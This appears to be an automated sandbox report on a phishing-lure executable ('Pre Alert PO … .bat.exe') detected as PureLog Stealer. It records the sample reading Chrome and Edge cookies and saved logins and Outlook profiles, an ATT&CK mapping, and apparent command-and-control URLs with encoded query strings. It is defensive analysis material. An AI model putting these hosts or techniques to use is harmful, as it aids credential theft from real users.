Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Queries volume information: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2069017164.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2942858170.0000000002910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2942772610.00000000028C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2941481710.00000000004F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2944930407.0000000005280000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2082286321.0000000003CF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2943135814.0000000002270000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2070855400.00000000018F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3ed5828.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.56c0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.56c0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3ed5828.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1808502142.0000000003ED5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1808502142.0000000003EB9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1812017169.00000000056C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\runas.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Windows\SysWOW64\runas.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\SysWOW64\runas.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\SysWOW64\runas.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\runas.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\runas.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State
Source: C:\Windows\SysWOW64\runas.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State
Source: C:\Windows\SysWOW64\runas.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\runas.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2069017164.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2942858170.0000000002910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2942772610.00000000028C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2941481710.00000000004F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2944930407.0000000005280000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2082286321.0000000003CF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2943135814.0000000002270000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2070855400.00000000018F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3ed5828.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.56c0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.56c0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pre Alert PO TVKJEANSA00967.bat.exe.3ed5828.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1808502142.0000000003ED5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1808502142.0000000003EB9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1812017169.00000000056C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	612 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	11 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	612 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	22 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Pre Alert PO TVKJEANSA00967.bat.exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.Genie8DN
Pre Alert PO TVKJEANSA00967.bat.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.Genie8DN

Source	Detection	Scanner	Label
http://www.17jkgl.com/yjgs/	0%	Avira URL Cloud	safe
http://www.elinor.club/7plr/?fvqp6=9vfXK&LRW=r9AVpTZFPDO8VTu/ciknjINDVEp/PvrjGtBP7U8RvBiODJ3oM2lL+vM7NE/eWH/lfB0APMSfRaR1rRBz2uUzJ3oOd5olZUFD7UQvVw3JpX4K8u0SeOs3hkY=	0%	Avira URL Cloud	safe
http://www.elinor.club	0%	Avira URL Cloud	safe
http://elinor.club/7plr/?fvqp6=9vfXK&LRW=r9AVpTZFPDO8VTu/ciknjINDVEp/PvrjGtBP7U8RvBiODJ3oM2lL	0%	Avira URL Cloud	safe
http://www.shipincheshi.today/b20s/	0%	Avira URL Cloud	safe
http://www.elinor.club/7plr/	0%	Avira URL Cloud	safe
http://www.shipincheshi.today/b20s/?LRW=tVBfi4VbWyAR4A6JwX/2lnpR3RCqqMOz/iPk8q4RNy1B2px1ZjxG3cjS/n2u+as/M6yp5i3EDz3+5965KIAUeXyPV8KfzAH0F+33TTK6hNoSGlASxdt3tI0=&fvqp6=9vfXK	0%	Avira URL Cloud	safe
http://www.alvinsd.buzz/d43q/	0%	Avira URL Cloud	safe
http://www.dojodigitize.shop/3acc/?LRW=skYxN//30ryIi85Wi0QpETYUbcdPFuXI+97QewxhrY3NM2hqn6Sq2BPHPiKxfL80eN+v/gcRWuFAYeqrMVkPGGlMHJiH0BFPFC9u+m//81WV26UqMu5nMks=&fvqp6=9vfXK	0%	Avira URL Cloud	safe
http://www.17jkgl.com/yjgs/?LRW=5PllmvK0caJhA9qO+og5+P8kc5JWR+uQLy91XhuloCAo6K0czluNggt7J8fRT5aF3DbStYNhlgg+eys4IUnD8eH0N6/eozV0E04Jm3Q8YYXSei9vmTSoi+w=&fvqp6=9vfXK	0%	Avira URL Cloud	safe
http://www.thinkphp.cn	0%	Avira URL Cloud	safe
